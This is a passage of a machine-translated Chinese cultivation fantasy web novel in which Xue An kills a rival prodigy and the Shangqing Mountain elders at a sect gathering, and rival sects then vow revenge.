    Everyone present looked at Xue An with incredible gazes, even the Tianjiao of each sect was speechless and dumbfounded.


    Everyone knew the strength of this Red Lotus Immortal Venerable was amazing, but he didn''t expect to be astonishing to such an outrageous situation.


    Xiao Tiansha had indeed just entered the realm of the fairy king, and he could not perfectly control his strength, but the fairy king was still the fairy king after all, no matter how weak he was, he was also a peerless powerhouse.


    Now he was shocked by Xue An''s fist and vomited blood again and again. Who can not be surprised, who dare not be afraid?


    Even Xiao Tiansha himself could not accept this reality.


    Growing up in the praise of everyone since he was a child, he has become an admirable young master at a young age.


    Especially in the last session of the Thousand Sects Profound Society, he was even more brilliant, beating the crowd and becoming the leader of the jade list.


    All these achievements made Xiao Tiansha a little fluttering.


    That''s why he still dared to do it after hearing Xue An''s name, because he had a thought in his heart.


    No matter how good he is, what can he do?


    Both are immortal kings, how much better can he be than himself? It is nothing more than taking up the light of rebirth, and having more combat experience than himself.


    But it turned out to be ruthlessly slapped by reality.


    He didn''t even block Xue An''s punch, so he was shocked and flew so easily...


    At this time, Xue An smiled faintly at Xiao Tian, ??"How about? Do you still fight?"


    Xiao Tiansha snorted angrily, and then his face became pale.


    But the paler his face, the brighter his eyes, and the aura of his whole person is skyrocketing.


    "The surname Xue, this is what you forced me to, this time, I will let you die without a place to bury you."


    After that, Xiao Tiansha snorted, his eyes instantly radiant like sparks, and at the same time a faint golden light appeared all over his body, which merged into a curtain of light, which firmly protected him.


    When the mist dissipated, Xiao Tiansha''s golden light was radiant, standing high in the sky like the Immortal King Kong, and then grinning strangely.


    "Xue An, let me see how you can beat me now!"


    "It''s the strongest law!" Chu Xiong of Feihutang couldn''t help groaning when he saw this, and then a deep jealousy appeared in his eyes.


    And Mu Wushuang''s complexion changed drastically, and he shouted: "My lord, be careful of his magical power. This golden light is the strongest power, very powerful."


    The power of law!


    As mentioned before, this is the power that Human Race can only realize when they cultivate to Da Luo.


    Because of the different power levels, the laws are also divided into several grades.


    Ordinary preachers of the Great Sect understand the Five Elements Yin Yang and other common principles.


    And above this mortal product, there is also the law of immortality.


    At this level, the lethality of the law has suddenly increased, and it will even become a person''s strongest attack before proving the Immortal Emperor.


    And the law of immortality includes this strong force.


    In fact, this kind of power had appeared in Ye Liuyan, the Young Master Li Hentian who had invaded the earth the earliest.


    But at that time, Ye Liuyan was only Da Luo''s cultivation base, so how could he be compared with Xiao Tiansha who was the body of the immortal king?


    So when this law of strongest strength was displayed in Xiao Tiansha''s hands, it could be said that the situation changed and the world bowed its head.


    Xue An only raised his eyebrows slightly, "What? Just this little trick, dare to show off in front of me?"


    Xiao Tiansha couldn''t help being furious when he heard the words, "The little trick? Okay! Today I will use this little trick to make you die without a burial place!"


    After all, Xiao Tiansha took a step forward.


    With one step, the entire Prajna Peak sank down.


    This is because Xiao Tiansha''s current mass is too heavy, and the huge gravity even makes the entire planet tremble.


    Wherever the power is, everyone is disfavored.


    At the same time, Xiao Tiansha stood in the air, and as shown above, Taishan slammed a punch.


    "Die me!"


    The violent fist directly shattered the space, and then turned into a torrent, blasting towards Xue An.


    "My lord, be careful!" Gong Yunjun in the crowd couldn''t help exclaiming.


    Xue An seemed to feel something, and turned to look in her direction.


    At the same time, Xiao Tiansha''s punch has come close.


    But Xue An seemed to have no defense at all, just standing there idle.


    This scene caused Mu Wushuang''s heart to raise his throat in an instant. Just when he wanted to speak, Xue An was completely overwhelmed by the torrent of torrents.


    The crowd exclaimed.


    Many people shook their heads secretly, thinking that Xue An would definitely die.


    An even more ecstasy appeared on Xiao Tiansha''s face.


    If he can stand the reincarnated Red Lotus Immortal Venerable in his palm, it can be said that he will reach the sky in one step, and his reputation will reach its peak immediately, and he will even be able to seize his chance to become the Immortal Venerable in the future.


    But before the complacency on his face had completely spread, he heard a faint sigh coming from his ears.


    "Do you know the biggest shortcoming of your law?"


    Suddenly, Xiao Tian was horrified and horrified, even the roots of his hair were erected, and he raised his hand and patted in the direction of the sound.


    But when his hand was halfway there, he suddenly sank, then he was grabbed by his wrist and threw it out with unparalleled strength.


    Xiao Tiansha was in the air.


    Xue An stood underground, his eyes condensed slightly, "The biggest disadvantage of this rule is... it can only be a human sandbag."


    Having said that, as soon as he stepped on the ground, his whole person rose up into the sky like a cannonball and went straight to Xiao Tiansha.


    Bang bang bang.


    Just listening to a burst of bangs, Xiao Tiansha''s golden body was flying around in the air by Xue An like a rag pocket.


    In an instant, these loud noises became more and more dense, and in the end they even became a piece.


    at last.


    After a loud noise, only a slight invisible clicking sound was heard, and then a slight crack suddenly appeared on Xiao Tiansha''s golden body.


    Immediately afterwards, the crack enlarged rapidly, and then it broke apart.


    Xue An put his fist in his hand and looked at Xiao Tiansha on the opposite side indifferently.


    At this moment, the once proud son of heaven, the leader of the jade list, was already embarrassed like a beggar.


    A long hair that he was proud of had been shaken to nothing by his fists, and his handsome face was even more swollen, so he could only open his eyes and look at Xue An with fear.


    "You...how on earth did you break the power of my law?"


    Xue An smiled slightly, "It''s very simple, it can be broken with a fist!"


    As he said, Xue An raised his hand and said lightly: "The world changes in cycles, and only power is eternal."


    "Don''t you understand this truth?"


    "Only power is eternal..." Xiao Tiansha whispered softly, suddenly a glimmer of comprehension appeared in his eyes, and the momentum of his body became docile.


    "Thank you!" He said sincerely.


    Because of Xue An''s words, his mood has broken through again.


    This is an extremely rare opportunity.


    Xue An just smiled coldly, "No thanks, because you...still have to die!"


    After all, Xue An stepped forward again with a punch.


    This punch is simple and unpretentious, just like a child playing.


    But in Xiao Tiansha''s eyes, it was as if heaven and earth had smashed over together, and there was no way to avoid it.


    He could only yell, and then raised all his cultivation bases, raised his fists, and tried to resist.


    But all is in vain.


    As soon as the two fists touched, a powerful force shattered all his bones into powder.


    Immediately afterwards, the flesh and blood behind him exploded, and the blood mixed with the fragments of internal organs splashed out, dyeing the entire sky red.


    Xiao Tiansha whispered softly: "Good fist!"


    After all, his eyes dimmed quickly at a speed visible to the naked eye, and he died in despair.


    And it was completely annihilated, because his sea of ??consciousness had been shattered by Xue An''s fist.


    There was deathly silence.

 Chapter 1925： Lets get started, I want to pack all the packages today...

    "He...he really killed the young master?" someone whispered in a trembling voice.


    But more people stared at everything in front of them dumbfounded.


    At the same time, everyone gradually recovered their sobriety, and then there was a boiling uproar.


    "Gosh, Young Master Xiao actually died? This is a big deal!"


    Even Luo Rongjin, who has always regarded Xiao Tiansha as his lifelong opponent, never expected that Xue An would kill him so simply and neatly.


    But soon, the prince of the East Palace of the People''s Palace recovered his calm, and then smiled radiantly.


    But at this moment, Xue An slowly turned his head and said lightly: "What are you laughing at?"


    The smile on Luo Rongjin''s face froze.


    Xue An continued: "Did I make you laugh?"


    Luo Rongjin''s eyelids began to beat frantically, and infinite humiliation and anger appeared in his eyes.


    You must know that he is the prince of the East Palace of the Imperial Palace. Since childhood, no one dared to speak to him in this tone.


    Even Xiao Tiansha, who was hostile to each other, would not provoke him in this way.


    But soon, Luo Rongjin forced himself to suppress the anger in his heart, lowered his head and said lightly: "Yes, I get it!"


    "Know? What do you know?" Xue An didn''t seem to want to let Luo Rongjin go, and continued to ask.


    Luo Rongjin took a deep breath and raised his head to face Xue An calmly, "I know I shouldn''t have laughed just now, I''m sorry!"


    Sorry!


    As soon as these three words came out, many people were shocked, especially Luo Rongjin''s supporters, who were shocked.


    No one thought that the prince of Donggong, who has always been moody, would actually say the three words sorry.


    The corners of Xue An''s mouth gradually raised, "That''s right, you can teach you a child!"


    Luo Rongjin bowed his head and said nothing, as if thinking about something.


    At this moment, the elders of Shangqingshan hurried over. After they got closer, they couldn''t help but change their expressions when they saw the scene.


    One of the elders took a step forward and said with a stern face: "Xue An, why are you so cruel?"


    "Shot?" Xue An smiled coldly, "Why? Isn''t this Thousand Sect Profound Society used to compare high and low, but to exchange feelings?"


    The elder was speechless with these words, and only after a while did he force himself to say: "But you don''t have to kill people either!"


    "Hehe, he is inferior to humans, he deserves to die, and he also rushed to kill me, should I stand still and let him kill? Or... you go to Qingshan to be blatantly partial Where is this Xiao Tiansha?"


    At the end, a murderous look flashed across Xue An''s face.


    The elder dared not say anything.


    An elder on the side hurriedly stepped forward with a smile on his face: "Master Honglian calmed down. We didn''t mean that, we just cared about it. Now that things have happened, Young Master Xiao is also dead, so naturally we have nothing to say. of."


    "But today''s event was supposed to continue, but it''s getting late now. I think we should take a break and wait until tomorrow to fight again. What do you think?"


    After all, the elder looked at Xue An with a sincere expression with a smile.


    And these words sound reasonable, so you can''t find a reason to refute.


    At least the many Zongmen Tianjiao present couldn''t help letting out a breath after hearing the words, and then they wanted to retreat.


    But at this moment, Xue An sneered coldly, "Go? Did I let you go?"


    As soon as the words came out, everyone who had already turned around and was going to leave shook together, then turned around, looking at Xue An with a confused face, not understanding what the Red Lotus Immortal Venerable was planning to do.


    Only Mu Wushuang shook all over, then looked at Xue An with horror on his face.


    Because she suddenly remembered a word Xue An once said.


    That is to make these Zongmen Tianjiao all pay the price.


    At that time, Mu Wushuang thought it was just an exaggerated rhetoric.


    But now it seems that Xue An is obviously not joking, but is about to come true.


    Including the monk Yuantong who was hiding in the corner, after hearing this, he couldn''t help but put his palms together, and sighed slightly: "Goodness, goodness, it seems that Donor Xue is really going to kill today!"


    At the same time, Xue An said lightly: "Today''s Thousand Sect Profound Society, two people have died in my hands. The first is a lightning master, the second is Xuan Ming Ling. The peerless Tianjiao."


    As he said, Xue An looked around the audience, his icy gaze crossed the faces of everyone present, and then said lightly: "But for the third one, I don''t want to do this one by one, that is, you are present. One of them counts as one, let''s go all together!"


    "I want to cover the whole game today!"


    boom!


    Xue An''s domineering declaration of war made everyone present and not present shocked.


    "What? This Xue An wants to cover the whole game, is he crazy?"


    "That''s right, even if he was once the Immortal Venerable, but that was a long time ago after all. Does he really think he can suppress the audience with his own power now?"


    "Haha, so arrogant, really overwhelming!"


    Almost everyone is not optimistic about Xue An''s remarks.


    Even Mu Wushuang felt a little nervous at this time.


    Because this is really incredible.


    Only Gong Yunjun, who was hiding in the crowd, still looked at Xue An enthusiastically.


    As the only idol in her mind, no matter what Xue An said, she would believe it unconditionally.


    at the same time.


    All the Zongmen Tianjiao present at the scene also woke up from the shock, and then all their faces showed anger.


    They naturally knew that it was impossible to defeat Xue An based on their own strength, but the problem was that there were so many people on their side.


    This Xue An would be too big.


    Luo Rongjin was almost crazy.


    He felt that today must be his lucky day, otherwise how could good things happen one after another?


    First, the opponent died, and now this Xue An is like going crazy to say that he will beat the audience. It is really ridiculous.


    As for the elders of Shangqing Mountain, they also looked at each other, then smiled coldly, and then retreated.


    In their opinion, this Xue An is clearly looking for death.


    But at this moment, Xue An said indifferently: "Don''t move I said that I want to cover the whole game, naturally including you!"


    These elders stopped and looked at Xue An together, unable to believe their ears.


    When did the game actually bring the referee?


    "Xue An, I hope you''d better not be too arrogant, this is Shangqingshan, not your hometown!" An elder said angrily.


    Xue An smiled faintly, "I know! But... what I want to deal with is you Shang Qingshan!"


    Following the voice, Xue An stretched out his hand, palm up, and said faintly: "Billions of miles, listen to my orders!"


    "Raise!"


    After that, Xue An suddenly clenched a fist.


    boom!


    Within the hundreds of millions of miles around the star field, countless golden array patterns began to emerge and spread quickly, covering the entire Shangqing star field in an instant.


    This time, Xue An wanted to go to Qingshan and punish thousands of Tianjiao!

 Chapter 1926： Speak with the constitution, speak with the law

    "Quickly stop him, he is going to deal with all of us."


    Luo Rongjin was the first to react and let out a terrified roar.


    In fact, he didn''t need to say at all. As early as the moment when the battle was up, the elders of Shangqingshan rushed towards Xue An, and burst into the air with a loud shout.


    "Die to me!"


    Boom!


    Several breaths that could destroy the heavens and the earth came from all directions, trapping Xue An in it.


    Although these elders are only half of the cultivation base of the Immortal King, because this is the territory of Shangqing Mountain, under the blessing of Zongmen Qiyun, each of their attacks possesses power comparable to the Immortal King. .


    Especially in the case of jointly facing the enemy, the momentum is even more amazing.


    But Xue An at this time is no longer the same as before.


    Now, with his eyes in hand, standing in the void, he really looks like a king in charge of heaven and earth, so he dare not look directly.


    Faced with the combined blow of these elders, Xue An didn''t even blink his eyelids, just spit out a word lightly.


    "Scatter!"


    boom!


    These aggressive attacks turned into a breeze in an instant, and even Xue An''s hair did not blow.


    This scene shocked the elders, but they hadn''t waited for them to react.


    Xue An spit out another faintly, "Cut!"


    After a word, the decree follows.


    These elders only felt a chill in their necks, and then rolled their eyes, and saw their headless corpse in the air.


    How is this going?


    This question just came to mind, and then they fell into eternal darkness.


    Bang bang bang.


    The corpses of these elders fell to the ground with a sudden, arousing smoke and dust.


    Everyone was silly.


    Because Xue An''s current strength has reached an unthinkable situation.


    Just spit out a word, and beheaded several half-step Immortal King level powerhouses at the same time.


    And no one in the room saw how it was done.


    This is no longer an ordinary technique, but almost like Tao.


    Monk Yuantong closed his eyes with unbearable expression, then folded his palms and sighed, "Said Shizhu hasn''t regained the position of Immortal Venerable, but his strength is already amazing! It''s a pity, it''s killing. The meaning is too heavy!"


    at the same time.


    Xue An turned his head to look at the gang of Tianjiao who had fallen into a sluggish state, and said lightly: "I said that none of you can leave. Is it credible now?"


    Luo Rongjin trembled all over, and then screamed hysterically, "Ah, ah, let''s kill him together, otherwise none of us can live!"


    At this time, Luo Rongjin was already going crazy.


    If he could choose again, he would definitely not come to participate in this Thousand Sect Profound Society.


    Because he couldn''t imagine that such a peerless killing **** would suddenly appear at this Thousand Sect Profound Society.


    Looking at it now, he intends to kill them all.


    For this reason, Luo Rongjin smashed all the magic treasures used to save his life, and then madly attacked Xue An.


    Not only him, but the rest of the sect Tianjiao also trembled, and then they woke up and began to struggle.


    But all is in vain.


    No matter how tyrannical the attack was, it vanished like a light smoke after reaching Xue An.


    Such a horrible scene caused Luo Rongjin to break his nerves and couldn''t help but growl: "What kind of formation is this?"


    Xue An smiled faintly, "This formation has no name. I designed it specifically for you."


    "Why? Why are you trying to kill me?" Chu Xiong of Feihutang also roared with canthus at this time.


    "Why?" A cold smile appeared on the corner of Xue An''s mouth, "You need to ask your sect and what you have done yourself!"


    As soon as this statement came out, many people shook violently, and their faces appeared in panic.


    At this time, Xue An said in an icy voice like an emperor: "There are avengers for grievances, and revenge for avengers, and today...is your debt repayment period!"


    When the words fell, Xue An raised his eyebrows, and a gleam of sword intent appeared between his eyebrows.


    As soon as this sword was shot, the sky trembled and everything bowed its head.


    Quietly, many small cracks appeared on the corners and hairs of many people, and even on their skin.


    But this was not hurt by the sword qi, but because the sword intent was too condensed and pure, and even just a glance, it was hurt by its essence.


    Many people have a look of despair on their faces.


    But at this moment, only an angry shout came from the sky far away.


    "Xue An, don''t deceive people too much!"


    Following the voice, only a blast of wind and thunder rumbling was heard, and then a large group of people rushed over at an extremely fast speed.


    In the blink of an eye, these people rushed to the front, and after the brilliance dissipated, the leader was a middle-aged man with a celestial spirit and extraordinary character.


    Behind him is a group of men and women with extraordinary momentum and strength.


    Their appearance caused a violent commotion in the audience.


    Many people took a deep breath.


    "The mountain lord has finally come! This is all right!"


    "Hey, even several elders who have been in retreat have been dispatched together. Let''s see how Xue An responds!"


    That''s right!


    It was Liang Jinpeng, the lord of Shangqing Mountain, and the top elders who came.


    In fact, these people have been secretly observing this Thousand Sect Profound Society in the sect, but they never expected that things would suddenly change like this.


    Moreover, the change was so fast that the young master Xiao Tiansha of Xuan Ming Ling died before they had time to react.


    If that''s all there is to it, the key is that Xue An directly activated the formation behind him, taking control of the entire Shangqing Star Territory.


    This can''t be tolerated.


    Because no matter which sect you are in, the control of your own star domain is the most important.


    Now that Xue An takes it directly, it is equivalent to someone holding a knife directly against your throat.


    In particular, Xue An raised his hand to kill several elders later, which was even more a naked provocation.


    Therefore, these talents rushed over in such a desperate way At this moment, Liang Jinpeng, the master of Shangqing Mountain, took a deep breath, suppressed the infinite anger in his chest, and said coldly.


    "Xue An, you seize my star field, kill my people, and even kill all the sect tianjiao, don''t you think it''s too much to act like this?"


    Xue An took a deep look at this Liang Jinpeng, and suddenly chuckled, "Excessive? What is excessive? I''m just a courtesy, why is it excessive?"


    Liang Jinpeng was more angry, but there was a hint of jealousy in his eyes.


    As the mountain lord of Shangqing Mountain, his strength is naturally extraordinary, and he is a top immortal king.


    But even so, when facing Xue An, he was still a little frightened.


    Because he really didn''t know what unknown methods the former Immortal Venerable had.


    As far as this incident is concerned, the security of the entire Shangqing Mountain is not unreasonable. It can even be said that the entire star field is covered with detection circles. A slight change will trigger an alarm.

 Chapter 1927： 1 sword fell, Tianjiao awarded the first

    Unexpectedly, Xue An arranged these heaven-defying arrays without knowing it, and Liang Jinpeng didn''t even notice the slightest in the whole process.


    How could this not shock him.


    But the dignity of being a mountain lord made it impossible for him to bow his head, so he said coldly: "Recommendation? What do you mean by this? It seems that we Shang Qingshan has not offended you!"


    The sword intent between Xue An''s eyebrows slowly turned, and the cold sword light reflected on his face, making his expression unpredictable and lofty.


    "I haven''t offended me? Haha." Xue An sneered, then moved his lips slightly, and directly passed the following words in the form of divine thoughts.


    Liang Jinpeng, who was full of anger, was shocked, and then looked at Xue An in horror.


    "You...you are..."


    Xue An nodded, then smiled Senran: "Yes, I am! So now, it''s time for you to pay the price!"


    After saying that, the sword intent between Xue An''s eyebrows suddenly expanded, and then cut out with a sword.


    This sword has been pure to the extreme, there is nothing else mixed in it, just like the Tianhe rewinding, and the Xumi Mountain falling, the entire void is torn apart.


    At the same time, the supreme sword power swept across the air, and wherever it passed, a very smooth gap was cut out in the space.


    Click.


    The huge Prajna Peak made an overwhelming sound, and then it was split in half from the middle.


    The swelling hurricane swept everywhere, making all onlookers tremble.


    "This sword..." Someone whispered softly with a face like earth.


    But more people looked at the original Prajna Peak with solemn expressions.


    Finally, the flames gradually dissipated.


    Looking at the field at this time, there are already ten people who can stand.


    Even if he was standing, his eyes were scarred and horrified.


    Only Liang Jinpeng stood in front of Xue An with a pale face.


    Liang Jinpeng looked at Xue An blankly, and only after a long time did he whisper softly: "Is this the Red Lotus sword intent?"


    Xue An said lightly: "Yes!"


    "Sure enough!" With the voice, a bright red appeared in Liang Jinpeng''s throat, and then it quickly expanded.


    Blood splashed out, but the strong vitality of the top fairy king made him survive tenaciously even so.


    Liang Jinpeng covered his throat with his hand, and stared at Xue An who was opposite, "Actually, what happened back then has nothing to do with me."


    "I know!"


    "But as the owner of Shangqing Mountain, I have to pay the price, right?"


    Xue quietly looked at Liang Jinpeng whose vitality was going crazy, and nodded, "That''s right!"


    Liang Jinpeng smiled, but this smile was full of coldness and resentment.


    "Xue An, you are indeed very powerful, but you set up such a big formation and seized the heavens. It must have cost you a lot of energy. If I am not mistaken, your strength will fall to the bottom after this battle. For a while, right?"


    No one could hear these words at all, because Xue An had already covered the surroundings.


    After hearing the words, Xue An raised his eyebrows slightly, "So what?"


    "Ha ha ha ha!" Liang Jinpeng''s mouth began to rush blood, but his eyes were full of joy.


    "Xue An, my master has gone out and has not returned. If he is here, he will not tolerate you being so presumptuous. After this matter, he will definitely ask you to settle the account. At that time, I will wait for you in hell!"


    After that, Liang Jinpeng shook his hand abruptly.


    Click!


    His neck was severed by himself, and the corpse fell to the ground and died absolutely.


    But Xue An''s eyes flashed a strange color.


    "Huh, there is no spirit?"


    Then Xue An raised his head and looked towards the void somewhere.


    "There is no aura of magical powers, but the soul has disappeared. Could it be..."


    For the first time, a dignified color appeared in Xue An''s eyes.


    At this moment, a scream awakened Xue An.


    Xue An looked up.


    Fu Nianzhi, whose temples were scattered, looked at the dead body on the ground in horror.


    At this time, the arrogant girl of the sky has long since disappeared.


    She didn''t know how she survived the sword just now.


    Anyway, she had witnessed how dozens of powerful Tianjiao were cut in half by this sword.


    Among them is the Prince Luo Rongjin of the East Palace of the Royal Palace.


    This noble and unparalleled young Tianjiao will be the object of admiration no matter where he goes.


    But just now, he was cut in half before he even had time to scream.


    As for the Chu Xiong in Feihutang, his death was even more miserable.


    This kind of impact is not small.


    But all this is not as frightening as Liang Jinpeng''s suicide.


    That''s why she screamed.


    But when she shouted out, she was shocked and quickly covered her mouth.


    But everything was too late, when Xue An looked at her.


    The huge pressure instantly crushed her.


    She plopped and fell to her knees, knocking her head like garlic, begging for mercy again and again in her mouth.


    "Guren-sama, spare your life, Guren-sama, spare your life!"


    At this time, the remaining sect Tianjiao were all silent.


    Who can stand on this ring is not a proud young hero.


    Just now, they were ready for a showdown.


    But in the blink of an eye, most of them died, and the rest were covered with scars.


    Such a gap is simply desperate.


    And everything is because of the young man in white standing in the sky.


    now.


    Countless people are looking at Xue An''s figure with infinite awe.


    In the sky and the earth, it seemed that he was the only one left at this moment.


    Mu Wushuang stared blankly at her.


    She knew Xue An was amazing, but she didn''t expect to be so amazing.


    With only one''s own strength, he was able to kill all the heavenly arrogances, and even the mountain lord of Shangqingshan was beheaded by a single sword.


    This is beyond her imagination.


    As for Gong Yunjun in the crowd, she calmed down at this time, and then raised her head proudly.


    She had actually expected this result.


    Now she wants to let the whole world know how powerful her idol is.


    At this moment, Xue An said to Fu Nianzhi, who kept kowtow, "Want to survive? Well, give me a reason not to kill you!"


    Fu Nianzhi trembled all over, and suddenly remembered something, and looked at Cen Yuanhe who was standing far away hopefully.


    "YuanheHelp me!"


    But at this time Cen Yuanhe didn''t say a word. After a long silence, he lowered his eyes.


    "Nianzhi, you shouldn''t be like this!"


    As soon as this sentence came out, Fu Nianzhi looked at Cen Yuanhe in disbelief as if struck by lightning.


    "You... do you want me?"


    "It''s not that I don''t want you, but you voluntarily gave up! So..." Cen Yuanhe looked bored, "Just stop it yourself!"


    Fu Nianzhi shook his whole body, and immediately revealed a miserable color, "I understand, hahahaha, you are just this Xue An''s running dog, I would actually plead with you, I''m so stupid hahaha!"


    In the sorrowful laughter, Fu Nianzhi looked at Xue An with infinite bitterness, "I curse you with no place to bury you."


    After that, her body shook, then her eyebrows burst open, and her eyes quickly dimmed.


    At this point, the fairy Qianhe also blew himself up and died absolutely.

 Chapter 1928： Life is 8 hard, cant ask, cant let go...

    A bitter cold wind whizzed across the middle of the Prajna Peak that had been cut in half.


    Whether present or not, everyone who saw this scene was silent.


    No one thought that this Thousand Sect Profound Society would eventually turn into this situation.


    Countless sect Tianjiao who had run rampantly died just like this, and even the prestigious Shangqing Mountain was in ruins.


    The only person who did it was Xue An.


    Such a record is enough to make anyone shut their mouths obediently, even dare not even look at Xue An directly.


    At this time.


    Xue An slowly raised his head and looked towards the top of the ring.


    At this time, the ring is no longer prosperous, many of the so-called Tianjiao are dead, and the rest are just a few little-known descendants.


    So when Xue An looked at them, these people trembled together, and their faces turned pale.


    A cold smile appeared on the corner of Xue An''s mouth, "Don''t be nervous, since you can survive the sword just now, then it proves that you haven''t done any evil things that hurt the world, and I will naturally not kill you. "


    As soon as these words came out, these people all breathed a sigh of relief, and then bowed to Xue An with gratitude.


    "Thank you Guren-sama for your mercy!"


    Xue An waved his hand and said lightly: "Go, remember you can''t do anything wrong in the future, understand?"


    "Yes!"


    These people responded with one voice, and then they scattered around in a hurry.


    When the onlookers saw this scene, they disappeared, and everyone''s face was full of panic and anxiety.


    They all know that this fact is too big, so big that once it spreads, the entire heavens will be overthrown.


    So now it is natural to stay as far away as possible.


    In the chaos, Xue An fell off the ring, and Mu Wushuang, Monk Yuantong and others greeted him.


    "My lord, what should we do next?" Mu Wushuang now regarded Xue An as the absolute backbone, and asked in a deep voice.


    Xue An smiled faintly, but did not respond to her words, but turned to look at Cen Yuanhe who was aside.


    "Where are you going next?"


    Cen Yuanhe finally took his gaze back from Fu Nianzhi��s corpse in the distance, and then laughed miserably, ��Anyway, she is considered to be the person I once loved. Now that she is dead, I am going to take her corpse back. Let me explain my relationship."


    Xue An nodded, "Good, then there will be a period later!"


    Cen Yuanhe stepped forward and picked up Fu Nianzhi''s corpse, nodded slightly at the crowd, then flew up and disappeared into the sky in a flash.


    The descendant of God Painting Valley is gone.


    The crowd of onlookers also left clean, only one person did not leave.


    Gong Yunjun stood on the spot, making fists with both hands, sweating in his excited palms.


    Upon seeing this, Xue An couldn''t help but sighed, and then waved at her distantly.


    "come on."


    Gong Yunjun trembled all over, then took a deep breath, reluctantly suppressed the boiling blood in his heart, flew up to the top of the ring.


    "My lord!" Gong Yunjun lowered her eyes and said softly.


    Xue An smiled, "At the beginning I had something to do and it was not easy to reveal my identity in advance, so..."


    "My lord does not need to explain, I understand that as long as I can see that you are safe and sound, I will be satisfied!" Gong Yunjun''s eyes filled with tears, but she smiled brilliantly.


    Xue An was startled slightly, then nodded, "It looks like he''s really grown up."


    It was such a simple sentence, but it easily defeated all the disguise of Gong Yunjun.


    Big tears fell like broken beads.


    This scene made the atmosphere in the field a bit weird.


    Huitong couldn''t help asking in a low voice, "Brother Yuantong, what is this woman crying?"


    Yuantong sighed softly, "Goodness is good. There are eight sufferings in life, birth, old age, sickness and death, love and separation, resentment and hatred, can''t ask, can''t let go. This female donor is obviously a fool!


    "Fool..., what is the idiot, brother?" Huitong couldn''t help asking again.


    "Stupid boy, when you grow up, you will know it naturally." Yuantong said lightly.


    At this time, Xue An couldn''t help but sighed, "Okay, don''t cry! What are your plans for the next step?"


    Gong Yunjun gradually stopped crying and looked at Xue An with red eyes, "My lord, where are you going next, then I will follow you wherever you go!"


    "Me?" Xue An chuckled lightly. "The place I am going is very dangerous."


    "I''m not afraid." Gong Yunjun said categorically, and then, afraid that Xue An would not believe it, he added, "As long as I can be with you, I am not afraid of anything!"


    Xue An took a deep look at Gong Yunjun, then lowered his eyes, "Of course you can''t stay here, otherwise those sects won''t let you go. Let me go first, and wait until you get to a safer place. Say it again!"


    After that, Xue An said to Mu Wushuang again: "And you, as soon as this matter occurs, you and your sect will become the target of public criticism. Do you have any plans?"


    Mu Wushuang smiled freely, "My lord, please rest assured, before heading to Shangqingshan, I have ordered the people from the Temple of Slaughter to move to a secret place."


    "That''s good!" Xue An nodded, "Then our next step...we will go to the Buddha Kingdom first!"


    Buddha country!


    When these two words came out, everyone was shocked.


    Because it is different from the heavens and all realms, the Buddha Kingdom is a pure land that is transcendent, and it rarely comes into contact with the heavens.


    Where Xue An is going now is beyond many people''s expectations.


    However, Yuantong seemed to have expected it, with a smile on his face and palms together, "Good, good, good, my master would be very happy if he knew that Xue Shi would go to the Buddha country."


    Xue An smiled, but did not speak, but slammed down.


    boom!


    The large array that originally covered the entire Shangqing star field shattered, and countless golden lights dissipated.


    At this moment, Xue An''s eyes also showed a trace of exhaustion, and then said lightly: "Let''s go!"


    After all Xue An released the star boat, everyone boarded the boat together, then flew up, and disappeared into the sky in an instant.


    But the turbulent waves caused by this war have just begun.


    In fact, at the moment when Xiao Tiansha fell and Rongjin and other peerless Tianjiao had just fallen, their sects all noticed the signs.


    But at the beginning, almost no one would believe this to be true.


    Because existences such as Xiao Tiansha are the destiny of the destiny, how could they fall so easily with the superb existences that are combined with luck?


    Especially this is going to participate in a small Qianzong Xuanhui.


    Until the news came, all the Tianjiao of Qianzong Xuanhui was almost wiped out, and even Shang Qingshan was destroyed by Xue An.


    These big sects reacted, and then they were completely angry.


    Xuan Ming Ling.


    "Xue An, you dare to kill my Tianjiao and destroy my orthodoxy. My Xuanming Tomb will definitely be at odds with you!" Dou Yinan, the master of Xuanming Tomb, was distorted because of extreme anger.

 Chapter 1929： 1 Words are the law of the world, the prestige of the emperor...

    That Xiao Tiansha was the heir carefully cultivated, and it could be said that he devoted most of his efforts.


    And Xiao Tiansha did not disappoint, finally breaking through the realm recently, proving the Dao Immortal King.


    This made Dou Yin''an even more cherish him, and even planned to hold the Immortal King Ceremony for him after Xiao Tiansha''s realm became stable.


    But never expected that all these plans were destroyed by Xue An.


    How could this not make him angry.


    The supreme majesty of the immortal emperor surged out.


    In an instant, countless bottomless cracks appeared on the surface of the planet where Xuanmingling headquarters was located.


    But this is just Dou Yinan''s anger.


    This shows how terrifying the Immortal Emperor''s might is.


    In fact, when he reached the realm of Dou Yinan, his every action affected the vitality of the world, and all things lived and died.


    Even he himself has melted into Tao, becoming an immortal existence.


    So even if the opponent is Xue An, he is still not afraid.


    "The order goes on, and I will try my best to detect Xue An''s whereabouts. I want him to bury the gods." Dou Yinan said in an infinitely high and majestic voice.


    With the order, the entire planet and even the entire star field trembled, and then countless Xuan Ming guards bowed together.


    "Here!"


    The sound is like thunder, shaking the world.


    Then these Xuanming guards scattered like a swarm of locusts, dispersed into the heavens, and disappeared.


    At the same time, a similar scene was happening in the Palace of Human Emperor.


    As the top sect that is not inferior to Xuan Ming Tomb, the reaction of the Human Emperor Palace is no less than that of Xuan Ming Tomb, even worse.


    Because Luo Rongjin is not only the descent of the Royal Palace, but also the prince of the East Palace, a direct line of blood.


    His fall is undoubtedly much more serious in nature.


    now.


    The lord of the Human Emperor Palace, Luo Ruqing, who is respected as the Emperor Dongming, is simply raging.


    "Xue An, you are really deceiving people too much. You are reincarnated and returned. I haven''t gone to find you to settle the account, but you came to the door and killed my blood. It is really unforgiving."


    No one dared to speak.


    Because just now, several ministers were torn to pieces by the furious fall.


    "Presenting my will, Renhuangdian has vowed not to be at odds with Xue An since then, no matter where he is, he will be killed!"


    When it comes to the end, this man wears a flat crown, his face is shrouded by the emperor''s air, but he adds infinite majesty to the ruthless, and the words are full of supreme killing intent.


    And following his voice, a golden imperial decree suddenly appeared in front of him, which recorded every word he said.


    Luo Ruqing waved his robe sleeve, and a seal was placed on the imperial edict.


    The moment the imperial decree took shape, a great might of heaven came crashing down, and then the imperial decree rippled and finally merged into the void and disappeared.


    And Tiandao Qi Ji also changed a little with it.


    In a word, it is the law of the world, this is the power of the emperor!


    And with the expressions of Xuan Ming Ling and Human Emperor Hall, the entire heavens also boiled completely.


    Jingyuesi, Qinghailou, Guishuizu, Xunfengfang...


    At almost the same time, these sects all expressed their views, but there was only one goal.


    That is Xue An!


    At this time, countless people were shaken.


